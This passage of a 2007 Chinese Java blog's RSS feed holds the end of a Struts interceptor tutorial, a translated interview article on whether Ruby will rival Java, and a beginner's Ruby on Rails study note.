<br>&lt;interceptor name="testInterceptor" type="net.sf.struts.saif.TestInterceptor"/&gt; <br><br>&lt;default-interceptors&gt; <br>&lt;interceptor name="componentInterceptor"/&gt; <br>&lt;/default-interceptors&gt; <br><br>&lt;action type="org.apache.struts.webapp.example.EditRegistrationAction"&gt; <br>&lt;interceptor name="testInterceptor"/&gt; <br>&lt;/action&gt; <br>&lt;/interceptor-config&gt; <br>Interceptor Implementation <br>Interceptors can perform actions before and after a Struts Action is called. To write an interceptor, simple implement the net.sf.struts.saif.ActionInterceptor interface and implement the beforeAction() and afterAction() methods. <br><br>This is an example of an interceptor implementation: <br><br>public class TestInterceptor implements ActionInterceptor <br>{ <br>public void beforeAction(Action action, ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) <br>{ <br>log.debug("beforeAction called"); <br>} <br><br>public void afterAction(Action action, ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) <br>{ <br>log.debug("afterAction called"); <br>} <br><br>private Log log = LogFactory.getLog(TestInterceptor.class); <br>} <br>Contact <br>Please contact Lars Hoss or Don Brown with comments, bug reports, and suggestions.<br>
<img src ="http://www.blogjava.net/junky/aggbug/126715.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-06-28 09:35 <a href="http://www.blogjava.net/junky/archive/2007/06/28/126715.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Ruby，Java的劲敌</title><link>http://www.blogjava.net/junky/archive/2007/06/28/126703.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Thu, 28 Jun 2007 01:05:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/06/28/126703.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/126703.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/06/28/126703.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/126703.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/126703.html</trackback:ping><description><![CDATA[&nbsp;Bruce Tate的Beyond Java辩称，Java作为企业开发首选语言的统治最终会走向终结，企业创新也在十年内首次发生在Java的领域之外。在那本书中，他审视了那些让Java取得史无前例不同程度成功的特性，也思量了新语言超越Java要获得的特性。<br><br>后面的章节讨论了这个领域中竞争的其他语言，清楚的认为Ruby在独占鳌头。这些都来自于Tate自己的性能突破（由Ruby o&shy;n rails支持），Ruby语言的测试和来自于其他使用者也是有利的证据。<br><br>是不是Ruby将逐渐超过Java？Java中存在什么样的空白给Ruby填补？以及是否这两种语言将会水火不容？<br>为了调查这些状况，我们联系了几名最杰出的作者，博客和开发人员，得到了他们的见解。他们的回应全都会展现在这篇文章里了。<br><br><span style="COLOR: red">版权声明：任何获得Matrix授权的网站，转载时请务必保留以下作者信息和链接</span><br>作者:Chris Adamson；<a href="http://www.matrix.org.cn/user.shtml?username=ginge" target=_new><u><font color=#0000ff>ginge</font></u></a>(作者的blog:<a href="http://blog.matrix.org.cn/page/ginge" target=_new><u><font color=#0000ff>http://blog.matrix.org.cn/page/ginge</font></u></a>)<br>原文:<a href="http://www.onjava.com/pub/a/onjava/2005/11/16/ruby-the-rival.html" target=_new><u><font color=#0000ff>http://www.onjava.com/pub/a/onjava/2005/11/16/ruby-the-rival.html</font></u></a><br>译文:<a href="http://www.matrix.org.cn/resource/article/44/44288_Ruby+Java.html" target=_new><u><font color=#0000ff>http://www.matrix.org.cn/resource/article/44/44288_Ruby+Java.html</font></u></a><br>关键字:Ruby;Java<br><br><strong><span style="FONT-SIZE: 16px">Bruce Tate：一石激起千层浪</span></strong><br><br>&nbsp;&nbsp; Bruce Tate并不是作为一个局外者写就《超越Java》这边书的。他的顾问公司专注于Java 持久化框架和轻量级开发方法，同时他也是这些流行的Java图书的作者， Spring: A Developer's Notebook, Better, Faster, Lighter Java, 以及 Bitter Java。<br><br><strong>1，在《超越Java》中你花费了大量的时间在Ruby上面，看起来是它像在你说那些将超越Java竞争者中出类拔萃。你觉得是什么使Ruby比 PHP，Python这类语言优越？</strong><br><br>这些都是好语言，但是都有一些缺点。对大型应用，PHP和Perl不能连续地产生可读的代码。Lisp，Python和Smalltalk这些就缺少了伟大语言好像应该拥有的催化剂。Ruby是一种好语言，和催化剂（Rails）提供了引人注目得新价值（以效率的角度）以及还在飞速地增长。Ruby不一定是最好的语言，但是它将是我所见过最有可能的。Ruby不大可能在委员会那里超过Java。它很有可能首先在一个更小但是却重要的环境中取得好成绩。这个环境也就是一个有web UI大的胖关系数据库。<br><br><strong>2，是否Rails就意味着Ruby？其他语言包括Java难道就不能实现同样的思想？</strong><br><br>如今，Rails就是超过象Netscape之类语言的催化剂，具有Java一样的功能，可通过网络实现应用的传送。但是我认为Rails很有可能仅仅是Ruby元编程框架浪潮的第一波。<br><br><strong>3，你的书中很多都基于典型的&#8220;将一个web接口连接到数据库&#8221;场景，Ruby的成功案例看上去也仅仅是一两个开发人员的小项目。但是你也承认了Java的重量级企业框架对一些项目的价值（即大型系统上的大型应用）。什么情况下一个项目对于RoR来说过于大的呢？如果一个RoR在那方面的特性发展缓慢呢？</strong><br><br>有Ruby和小团队你可以做很多事情。基础代码几乎都是一个人写就的，但却关乎整个公司的生计。在一些主要的公司开始进行认真的尝试之前，我们不知道你可以利用ruby或者rails到什么程度。其中一个最吸引我的事情是经济的规模，更小的规模。万一生产力的数字是真实的呢？万一确实可以得到5X的增长？那么你可以在一个部门内划分工作，将工作划分给团队中的一个。交流将很少会成为问题。管理和疏忽也很少会成为问题了。我们都知道对于一间公司增长, tipping points意味着什么。因为增加沟通和管理的级别会产生很多的障碍, 所以一间公司增长要超过1，5，10，40，甚至100倍是很困难的。但是，在这一点上, Ruby o&shy;n Rails的可扩展性是非常的好。<br><br><strong>4，你是否看到Java开发人员转向Ruby吗，还是Ruby将会给新一代的开发人员采用？</strong><br><br>我觉得两者都有可能。有开发人员不能容忍学习servlets， Spring， XML， Hibernate， Struts 然后还要学习一些 UI 粘合的框架。在Rails中，他们将会完全给释放出来。同时也有Java开发人员已经在寻找更加优势的方法，他们发现了Ruby o&shy;n Rails。接受了Rails的Java梦想家们的数目是令人惊愕的，他们有Thought Works，James Duncan Davidson，Stuart Halloway 更有 David Geary。<br><br><strong>5，难道Java本身就不能做一些事情来维持它的杰出地位？如果过于复杂和膨胀，什么可以阻止开发人员倒退到jdk 1.4？</strong><br><br>Java将会继续处于顶峰,并在企业应用上保持良好的表现，但是时间不会停滞不前。在某种意味上它终将会给替代。我们将需要一个更高级别的抽象。我认为我们最好的希望就是在JVM上做充足的投入，更好地支持动态语言, 拥抱新的事物，对于旧有的java代码,则最好是保留保守的态度。<br><br><strong>6，我们应该期望Ruby在其他领域引起轰动？如果对于开发web应用它是如此不错，假如Ruby有的可以使用的合适的UI框架，会不会在桌面应用也实用呢？</strong><br><br>现在说什么还为时过早。如今，尽管Ruby是有催化作用(Rails)的语言，但是它仅仅是一个候选。以后将会发生什么？我想谁也不知道。<br><br><br><strong><span style="FONT-SIZE: 16px">James Duncan Davidson：尝试新事务</span></strong><br><br>如果你使用Tomcat或者Ant（认真地说，什么Java开发人员什么使用过？）那么你就熟悉了James Duncan Davidson的工作了。在Sun，他致力把这些项目开源并且把他们捐献给Apache基金会。并且他也编写了Servlet API的最初两个版本，还有处理XML的Java API。离开Sun之后，他做起了Mac OS 的X开发。编写《Running Mac OS X Panther》和参与编写了《Running Mac OS X Tiger》，《 Mac OS X Panther Hacks》，《 Cocoa in a Nutshell》和《Learning Cocoa with Objective-C, 2nd Edition》<br><br><strong>1，上一次我们见到你的时候，你还是那个《Mac desktop apps in Cocoa》家伙。而现在，我在你的blog上看到你已经深深地陷入了Rails。那是什么回事？</strong><br><br>我当时穷的要命和急切地需要钱。那时我刚刚买了一幢新房，并且抵押付款期限就快到期了――噢，<br>等会，你想我认真点吗？好吧，事实是我和我的几个朋友已经一直在想一起工作一段时间了。当恰当的时机到的时候，我们给项目做了技术评估，Rails成了首选。那时我还没用过Rails或者Ruby。但是我是不会让小小的需要学习阻碍我去做那个项目的。今年我已经学习了三种，可能四种语言了。我不再相信一种语言可以做任何事了。如果我需要学习一些新知识去一些事情，我将全力以赴去学好它。<br><br><strong>2，你对Rails有什么看法？</strong><br><br>主要是简单性。完成事情的容易程度。我做的那个应用的第一个项目原来是一个基于Java的web应用。每个人都知道一定会有一种更好，更快，更容易的方法的。Ruby一直都是一种好语言――并且是一种有趣的语言――因此建立于它之上的这个框架，它应得到关注。<br><br><strong>3，Ruby的晦涩和Rails的新颖对客户来说会不会是一个问题？</strong><br><br>不全是。如今事实上恰恰相反。有太多潜在的工作, 缺并没有足够的人在真正地开发Ruby o&shy;n Rails应用。<br><br><strong>4，为什么Ruby会如此特殊？难道Rails就不能在其他语言中实现？难道它就不能给Java实现？</strong><br><br>很少有其他语言可以完成Rails，或者像Rails那样的。Java不在他们之列。Rails从Ruby中获取了一些妙不可言的东西，尝试用另一种语言复制它不仅是对Rails所做的是一个浪费，对其他语言来说也是一个浪费。但是它的概念一定会在其他非常动态的，动态类型语言中得到很好的应用。<br><br>确实，我很兴奋的看到其他项目正实现一些从Rails衍生的主意到其他平台中。例如作为一个Python里的Rails版本，Django得到了一些固定的发展。但是，实际上它是Python自己的庞然大物，它如何成长将会非常有趣。<br><br>现在，我已经说过了你不能用Java来实现Rails。但却并不意味着你不能用Java做一些同样优秀的东西。Java的力量可以以一种有趣的，神奇方式应用到一种全新的框架上。只是还没人做那些事情。每个人都对J2EE这个糕点趋之若骛，以致于没人以一种更加激烈，更加动态的方式来重新考虑问题。尽管有人提出一个基于Java的杀手级的框架可以与Rails做同样多工作, 它一定也不能做的象Rails一样。<br><br><strong>5，具有良好设计的Java应用能够很好地支持特性的扩展――设计好你的类和包，那么你的心情将舒畅好长的一段时间。能否有团队编写出一个真正大型的Ruby应用？它是否具可维护性？或者还是RoR只能小打小闹？</strong><br><br>设计良好的应用无论是以何种语言编写的都能够很好地支持特性的扩展。糟糕的设计无论是何种语言就不能了。同时也有了如何才是大型应用的定义的问题。我用Ruby写的第一个rails应用部署到生产也不够5,000行代码，但是我之前用其他语言编写的同样大小的应用却达到了50,000行代码，所以如何定义大型是个问题。<br><br>有团队可以编写一个可以支持大量特性，运行良好，时间上具备可维护性的Ruby o&shy;n rails应用吗？是的，毫无疑问。在使用了Ruby o&shy;n Rails一段时间后，我将有信心用Rails解决任何尺寸的web应用问题。但是，那是因为我在它上面花费了一些时间，认识到编写一个具有良好设计的应用是有可能的。<br><br>也就是说，很有可能现在正有几十个垃圾的Ruby o&shy;n rails应用在编写中。几百或者几千个都有可能。如果你不知道你正在做什么，你将会编写一个垃圾的应用。<br><br><strong>6，那么我们回到了web应用，你可以在桌面上使用ruby，或者我们是否一直要用C#，面向对象C还是OS服务商支持的语言编写UI？</strong><br><br>嗯，我的生活的一部分就是回到web应用。它对我来说是一个很好的还环境，因为自从1994年开始我就一直在做基于web的工作。但是现在我将开发基于桌面的应用。而且人们对桌面应用的需求还很大。我可不想要一个网络的office。你也不想把一些象Aperture的东西建造成一个web应用吧。<br><br>你现在可以使用Ruby去建造一个引人注目的桌面应用吗？不，相关的工具包还不存在。但是如果存在了恰当的工具包――这是有可能的。那就没有什么东西可以阻止它成为一个好的桌面应用语言了。那是说，我已经发现利用平台的最好的方法就是尽量的本地化-贴近平台，不管它是一个操作系统或者还是一个web应用框架。当我在Mac上的桌面工作，我需要写面向对象C和Cocoa。当我用Rails的web工作，那意味着使用Ruby。而对于操作系统方面的工作，我需要用到C和shell。在这个讨论中不会只有唯一的答案。&nbsp;&nbsp;&nbsp;&nbsp;<br><br>我认为这就是最近对Ruby o&shy;n Rails关注和屏弃以有色Java眼镜看待世界的真正胜利。Ruby并不会成为下一个Java，完全不。而是Ruby o&shy;n Rails将会帮助打破了这样的一个观点-- &#8220;只有一个正确的方法&#8221;，不是的。解决问题的方法有千百条。真正的，他们中没有一个是明显的胜者。只有解决方案有优势的位置。<br><br>我想就像我们在其中工作，吃饭和居住的建筑物一样。一些建筑物最好是用水泥和钢筋筑造。其他的是用砌筑。还有其他的最好是用木材，并且那样做是有理由的。没有人会跳起来说&#8220;所有的建筑物一定要用砖头筑造！&#8221;，那样太愚蠢了！同样的道理，不是所以的应用都应该要用Ruby o&shy;n Rails或者Django或者J2EE或者Perl来编写的。对于任何一个特定的工作都有大量的工具。还有新的工具等待去发掘呢。诀窍就是决定最优秀的那个。<br><br>让我们从夸夸其谈回到你的问题：在web应用的范畴，很容易出现一个新的框架的，因为你并不是与视频卡，GUI和应用在上面跑的整个系统之类打交道。除非是你愿意开发一个自己的框架，你必须面对选择使用哪个框架的选择。在桌面上也是同样的道理。你可以创建你自己的框架，做任何你想要的做的，但是该建议却不比你自己为web创建一个新框架容易。<br><br><br><strong><span style="FONT-SIZE: 16px">Robert Cooper：带上利器</span></strong><br><br>ONJava的博客Robert Cooper最近在他的blog上撰写了<br>&#8220;It's the End of the World as We Know It."&#8221;来回应一些&#8220;Java时代末日&#8221;的言论。Cooper是亚特兰大地区致力于企业集成和web/web服务应用的J2EE开发人员，同时也是资讯和娱乐站点screaming-penguin.com的经营者。<br><br><strong>1，你曾经说过&#8220;长期以来&#8216;企业级&#8217;Java一直未能逃脱的一个很悲哀的事实是500个应用才需要&#8216;企业级&#8217;的功能。&#8221;为什么Java开发人员采用了比他们实际需要更加复杂的框架？</strong><br><br>好的，有一些因素导致了这样现象。一个是&#8220;buzzword compliance&#8221;. 你想使用你&#8220;应该&#8221;要使用的东西。我记得在99年一些大项目采用了entity bean作为数据模型，但是我们很快发现了性能是如此的恐怖以致于我们最终又转到了手写的DAO层。<br><br>最近对javax.persistence的修改，一定程度也表明了，EJB的失败一直都是缺乏不同级别的支持。理想的情况是，如果我仅需要基本的，简单的ORM-类型功能，我就能够很快的得到。如果我想深入真正复杂的东西，给我一个&#8220;更深层&#8221;的有分布式事务的视图。然而，尽管在那样高的层次上，在EJB1.1/1.2的世界里，看看你需要多少行代码1）从JNDI获得Home存根，2）做一个find by，3）做改变，4）提交事务。对于一般的应用，答案没有理由只应独一无&#8216;二&#8217;。然而更新颖的Java框架（阅读：Spring + Hibernate）使你获得了那一个&#8216;二&#8217;，但是你也要做一大堆的配置。那样，很多方面, 混淆了你的代码。大量的因素促成我我的演说&#8220;拥有一个有效的默认配置/操作&#8221;，但是那是不同的故事了。<br><br><strong>2，你一向不屑把Ruby o&shy;n Rails看作是technorati中的后起之秀。你是根本就不想接受还是只是厌恶这种夸夸其谈呢？</strong><br><br>并不是我真的这样不屑。Rails在很多重要的方面来说非常优秀。事实上，如果PHP是那要死的飞行意粉怪，并且要给Ruby替代，我想那将是一个大进步。然而，尽管Ruby确实扫除了过去的错误，它仍然缺乏Java那么多的功能，但是Ruby为快速开发提供了一个引人注目新的开发模型。你可能反对，这仅仅是时间问题，假以时日，它一定可以的。然而，我对Ruby/Rails有一些敌意, 是因为我一些一直都在希望java能够拥有的特性，一直长期希望J2EE能够拥有简单性。<br><br><strong>3，那么是什么促使你继续留在Java阵营，你看中它的什么呢？</strong><br><br>按照我日常的工作，在400上没有必要使用Ruby调用PCML/RPG程序。同样，那些大量的java拥有的 &#8220;企业级&#8221;特性很重要，更不用说它是一个统一的打包和部署的框架。<br><br><strong>4，你说&#8220;然而，Java像是变成了无所不包的了，它不是&#8216;web的语言&#8217;，也不是桌面应用的&#8216;一等公民&#8217;。&#8221;Java是否应该放弃一些野心，专注在一个更小应用空间集合里？如果那样，放弃哪个？</strong><br><br>你也知道，我在我的站点上和一个绅士有很长的讨论。他指出了Java在J2ME世界的成功，TME/TiVo，置顶盒--或许是下一代DVD的混战。这些对于开发来说都是有效的领域，但是我认为如果Java变成了这样的一个系统，那将是一个损失。<br><br>使我恼怒的是Java发明的&#8220;applet&#8221;，你看看Flash（加上Flex/Laszlo），它的&#8220;Cool&#8221;（快速的用户体验）和&#8220;强大的&#8221;（我免费的得到数据绑定/SOAP/XML-RPC等等）使applets无地自容。&#8220;强大的&#8221;缺不需要JRE的事实立马扼杀了applet的生存空间，如果有人能以接近数目的代码行数向我展示Laszlo Dashboard demo，我可能已经在那个方面得到了一个核心发展。Cool是需要很大的代价的.<br><br><strong>5，Java越来越多的复杂性，越来越多的竞争框架，这是你之前批评很多次的。我们用JDK 1.2的语义编码，手工编写servlet是不是更好呢？</strong><br><br>我认为的复杂性是很难管理。例如，如果你从一个VB背景开始关注使用Swing，那是非常令人难受的。当你需要做一些技巧性的东西，没有一个&#8220;简单&#8221;接口可以Cast成更加&#8220;高级&#8221;的接口。坦白的说，最近出现的一个有用的东西就是JAX-P了。在我头脑中，还有一些东西jre没有的，但是却是必须存在的。Swing存在有多久了？然而还没有东西可以给你像VB5的数据绑定表格控制的功能。<br><br>我想JDK 1.5的提升是非常显著的。当我谈到&#8220;降低复杂性&#8221;，我真正指的是A）对于一件事情, 给予更多标准的途径来完成，因此如果我真正需要一些不同的特性，我仅仅需要一个外部的框架。B）设计更加友好的API――认真的说，看看JavaMail的JavaDoc，看看研究出如何发送一个HTML格式的email要花费你多长时间。C）增加更加通用的功能到核心运行环境，提供一个可以分别与基于Flash，RIA和桌面领域的Avalon/Sparkle相比拟的风格和性能。同样的，我记得以前天真地从VB/VC++转到Java世界，想道&#8220;天哪，本来一直就应该是这样的。&#8221;几年前，我不能说我看到任何增加到Java的东西都是和我有同样的想法（除了将要来临的JAX-WS API）。看看Rails，你会有同样的感觉。看看Flex你也有同样的感觉。看看Avalon你也有同样的感觉。不是我不喜欢Ruby，只是看上去Java不再可以与时俱进让我很沮丧。<br><br><br><strong><span style="FONT-SIZE: 16px">Bill Venners：发行人的观点</span></strong><br><br>Artima是很多Java开发人员高度关注的站点。长久以来它的发行人Bill Venners是一个Java著作者和顾问。同时也是一个JavaWorld的专栏作家，Inside the Java Virtual Machine的作者。所以，当我们注意到Artima上的Ruby内容，我们必须找出背后的故事。<br><br><strong>1，Artima在很多人眼中一直都是作为一个Java站点，但是你刚创建一个一个新的Ruby版面， Artima当今很多的特色文章都是关于Ruby的，是什么促使了这种改变？</strong><br><br>没有改变。Artima曾经是一个清一色的Java站点，但是几年前我们扩展了更一般开发焦点，开始涵盖其他语言。例如，我们开始在&#8220;Python Buzz&#8221;集成Python Blogs，在&#8220;The C++ Source&#8221;刊发C++文章。我们创建了Ruby Code &amp; Style简报来作为Ruby社区通过高质量，编辑的文章分享信息的地方。<br><br><strong>2，你是否认为你的Ruby报道是作为一种趋势，或者服务已作出改变的开发人员？</strong><br><br>我们创建Ruby简报仅仅是为了服务Ruby社区。我不知道是不是有一个趋势，我也没有看到很多Java开发人员转到Ruby。人们并不只是仅仅需要用一种语言编程。我想掌握一种系统语言是有好处的，例如Java或者C++，和一种脚本语言，例如Ruby或者Python，而且能够用两者工作。那样的话你就可以使用你手中最好的工具来工作了。<br><br><strong>3，你的最初少数Ruby文章几乎没有涉及Rails。你是否认为Rails背后有一个大的Ruby故事？你还知道有什么东西使用了Ruby？</strong><br><br>除了知道Rails在市场上很有卖点，我对Rails了解的不多。Rails商人一遍又一遍传递了这样的一个信息，就是Rails能够助你很快的创建web应用。每个人都很清楚的收到了这个信息。我认为这是一个非常好营销工作。我也相信这个信息，但是快速的创建一个web应用不仅仅是人们所关心的。有时人们也关系与数据库的集成，应用服务器的集群，在这种情形，其他工具可能比Rails更有效率。就Ruby而言，我认为它是一种适合脚本和创建系统的多用途的编程语言，与Python同种类别。<br><br><strong>4，即使在Rails以前，对比于其他&#8220;敏捷&#8221;语言，人们都谈论到Ruby独特的吸引Java开发人员。你认为Ruby有什么特别之处呢？为什么它对于Java移民这么好？</strong><br><br>我不相信将会有很多Java移民或者Ruby尤其适合Java程序员。现在大肆宣称围绕着Ruby，或许是因为Rails的买卖，所以或许你印象中的移民就是来自于那些宣称的印象。Ruby是一种好的语言，但是Java也是，Python也是。<br><br><strong>5，你是否认为我们将会看到很多Java开发人员开始学习Ruby或者转到Ruby，或者我们将看到一个新一代直接跳过Java而用Ruby代之？</strong><br><br>Java不会离我们而去。在Artima，我们选择了Java作为新的体系架构，而不是Ruby，或者Python，就是因为它是一个成熟的拥有免费和商用的大量工具和API的生态系统。相对于Java，是的，当使用Ruby或者Python编程的时候是有一些速度的提升，但是有了现代的像IntelliJ，Eclipse和NetBeans的 Java IDE，你可以在Java里走的更快。但是用Ruby编程是很惬意的，同时，如果有人可以从Ruby中找到他们的职业生涯，那么请全力以赴去实现。<br><br><br><strong><span style="FONT-SIZE: 16px">结语</span></strong><br><br>是否Ruby将横扫Java？不仅仅是虔诚的Ruby狂热者在预言这个场景。开发人员的需要观点, 就像Venners提出的&#8220;手上对工作最优的工具&#8221;。 至关重要的是，开发人员必须对正确理解和使用这些工具负责。也就不难看出Coopper对于EJB 1.0的大肆宣称的记忆和Davidson的预言&#8220;如今很有可能有很多垃圾的Ruby o&shy;n Rails应用在编写中&#8221;的联系了。无视技术，让市场的浪潮冲走是很危险的。不仅如此，很多人正在告诉我们使用Ruby会有相当大的效率提升，它确实是一个理想的工具，因此我们应该给予一定的关注。<br><br>作者感谢Bruce Tate, James Duncan Davidson, Robert Cooper, 和 Bill Venners。感谢占用了他们的时间与ONJava的读者分享他们的思想。<br><br>Chris Adamson是ONJava和Java.net的编辑，专攻Java，Mac Os X和多媒体开发的亚特兰大地区的顾问。
<p><br>(转载文章请保留出处：<a href="http://www.javajia.com/"><u><font color=#0000ff>Java家(www.javajia.com)</font></u></a>)</p>
<img src ="http://www.blogjava.net/junky/aggbug/126703.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-06-28 09:05 <a href="http://www.blogjava.net/junky/archive/2007/06/28/126703.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Ruby on Rails学习笔记 (一) </title><link>http://www.blogjava.net/junky/archive/2007/06/28/126702.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Thu, 28 Jun 2007 01:03:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/06/28/126702.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/126702.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/06/28/126702.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/126702.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/126702.html</trackback:ping><description><![CDATA[　过去的一年多时间里净忙着准备出国，学习法语，然后就是在做一些很杂的事情，一直没有花多少时间在编程上。我的博士论文课题是《社会语义WEB》，也看了不少关于本体论和语义WEB方面的论文。前几天看到一篇关于本体论的文章，里面提到了很多目前非常流行的WEB2.0、TAG、AJAX相关内容。文章中我看到非常有趣的一段，大概是说：&#8220;从书籍销售情况就可以看出那种技术是当前最流行的技术，具体的数据我不太记得了，只记得JAVA书籍的销售量是增长了4%，C#增长了16%，Python增长了20%，Perl下降4%，而Ruby书籍的销售量增长了1552%（没错，我没少打小数点）&#8221;，<a href="http://radar.oreilly.com/archives/2005/12/ruby_book_sales_surpass_python.html"><u><font color=#0000ff>原文在这</font></u></a>。虽然Java书籍销售量基数肯定是远远大于Ruby书籍，但是如此之大的增长量还是引起了我的好奇，到底是什么东西能使相关科技书以这么大销售量增长（洛阳纸贵）。于是就在网上搜索了一些相关的文章来看。发现Ruby的确是很有意思的东西。<br><br>
<h2>
<h3>什么是Ruby on Rails</h3>
</h2>
<div>让我们先来看一张图片：</div>
<div>&nbsp;</div>
<div></div>
<div>&nbsp;<img alt="" src="http://static.flickr.com/28/55632873_4c0eba44ec.jpg?v=0"></div>
<div>看完这张图片，我心里充满疑惑，难道Ruby + Rails真的能够有这么好吗？</div>
<div>
<div>&nbsp;</div>
<div>心里有这么几个疑问：</div>
<div>１、Ruby是谁开发的？</div>
<div>２、Ruby是什么？</div>
<div>３、Rails是什么？</div>
<div>４、Ruby on Rails与目前已经有的开发语言相比有什么优点？为什么要使用它？</div>
<div>５、Ruby on Rails稳定吗？效率高吗？能够承受大数据量的访问吗？</div>
<div>６、Ruby on Rails有长远的发展前景吗？</div>
<div>&nbsp;</div>
<div>让我们一个一个的解开这些疑问：</div>
<div>１、<em>松本行弘"Matz"(Matsumoto Yukihiro)</em><em>是Ruby</em><em>语言的发明人，他从1993</em><em>年起便开始着手Ruby</em><em>的研发工作。他一直想发明一种语言，使你既能进行高效开发又能享受编程的快乐。1993</em><em>年2</em><em>月24</em><em>日Ruby</em><em>诞生了，1995</em><em>年12</em><em>月Matz</em><em>推出了Ruby</em><em>的第一个版本Ruby 0.95</em><em>。不久Ruby</em><em>便凭借其独特的魅力横扫日本，相信在不久的将来，Ruby</em><em>将走向世界。</em>Ruby是日本人发明的，这点让我很不是滋味，人也是很奇怪的，美国，欧洲比我们强还能接受，而日本比我们强我就&#8230;.</div>
<div align=left>２、Ruby是一种有着超级清晰语法的纯面向对象的编程语言，它能够让编程变得有趣和优雅（这点在后面的内容中确实得到印证）。Ruby成功的组合了Smalltalk的优雅以及Python的易用性，还有Perl的实用主义。Ruby起源于９０年代的日本，在过去的几年时间里随着更多的英语资料的出现变得更加的流行。</div>
<div align=left>３、Rails是一个用来开发数据库后台的WEB应用的开源框架。</div>
<div>４、到目前为止我发现Ruby on Rails最大的优点就是在于简单！RoR的核心思想就是&#8220;更少的编程，更简单的配置！&#8221;</div>
<ul>
    <li>
    <div align=left>安装和配置非常简单，不象Java需要安装运行环境，安装应用服务器，然后再进行一大堆的配置。在安装上Ruby和Perl很象，只需要装一个简单的解释环境就可以了（和Perl很象的地方很多，例如正则表达式的支持）。RoR避免了繁杂的XML配置文件，一个Rails应用程序只需要简单编程就可以通过影射和发现配置好所有的东西。你的应用程序和数据库里已经包含了所有Rails需要的东西。</div>
    <li>
    <div align=left>编码简单，很多代码都是可以自动生成，可以自动生成MVC，可以自动生成框架、Web服务。甚至你只要写上一行代码就可以实现以前使用Java上百行代码的工作量，比其他开发工具速度快１０倍！。当然越少的编程量就意味着越少的bug。</div>
    </li>
</ul>
<div>５、关于稳定性目前还没有很全面的数据，暂时还不太清楚。关于效率，从相关的资料上可以看到：<a href="http://www.duduwolf.com/cmd.asp?act=tb&amp;id=273"><u><font color=#0000ff>有人说RoR的性能和开发效率比java的struts+spring+hibernate经典搭配还要快15%-30%</font></u></a>。</div>
<div>６、RoR目前发展势头强劲，在使用RoR的过程中你将会发现它已经具备了作为WEB开发语言的本质。如果它能够以简单为主的理念继续发展，相信它将象当年的PHP和Linux在网络上引起新的一轮革命。</div>
<div>
<div id=ftn1>
<div></div>
</div>
</div>
</div>
<div>图片和部分内容转自：</div>
<div><a href="http://www.duduwolf.com/cmd.asp?act=tb&amp;id=273"><font color=#0000ff><u>http://www.duduwolf.com/cmd.asp?act=tb&amp;id=273</u></font></a></div>
<div><a href="http://www.neokeen.com/mornlee/2005/07/06/1120663087531.html"><font color=#0000ff><u>http://www.neokeen.com/mornlee/2005/07/06/1120663087531.html</u></font></a></div>
<div><a href="http://dev.csdn.net/article/73751.shtm"><u><font color=#0000ff>http://dev.csdn.net/article/73751.shtm</font></u></a></div>
<img src ="http://www.blogjava.net/junky/aggbug/126702.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-06-28 09:03 <a href="http://www.blogjava.net/junky/archive/2007/06/28/126702.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>敏捷的奇迹</title><link>http://www.blogjava.net/junky/archive/2007/06/28/126701.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Thu, 28 Jun 2007 01:02:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/06/28/126701.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/126701.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/06/28/126701.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/126701.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/126701.html</trackback:ping><description><![CDATA[应用Rails进行敏捷Web开发》
<h1 style="MARGIN: 0cm 0cm 6pt; PAGE-BREAK-AFTER: auto; TEXT-ALIGN: right; mso-pagination: none; mso-line-height-alt: 15.0pt" align=left><span style="FONT-FAMILY: 幼圆; mso-ascii-font-family: Georgia; mso-hansi-font-family: Georgia; mso-font-kerning: 1.0pt; mso-font-width: 120%">敏捷的奇迹</span><span lang=EN-US style="FONT-FAMILY: Georgia; mso-font-kerning: 1.0pt; mso-font-width: 120%; mso-fareast-font-family: 幼圆"><o:p></o:p></span></h1>
<h3 style="MARGIN: 6pt 0cm"><span lang=EN-US style="FONT-SIZE: 10.5pt; LINE-HEIGHT: 173%; mso-bidi-font-size: 16.0pt"><o:p><font face=隶书 color=#1c1c1c>&nbsp;</font></o:p></span></h3>
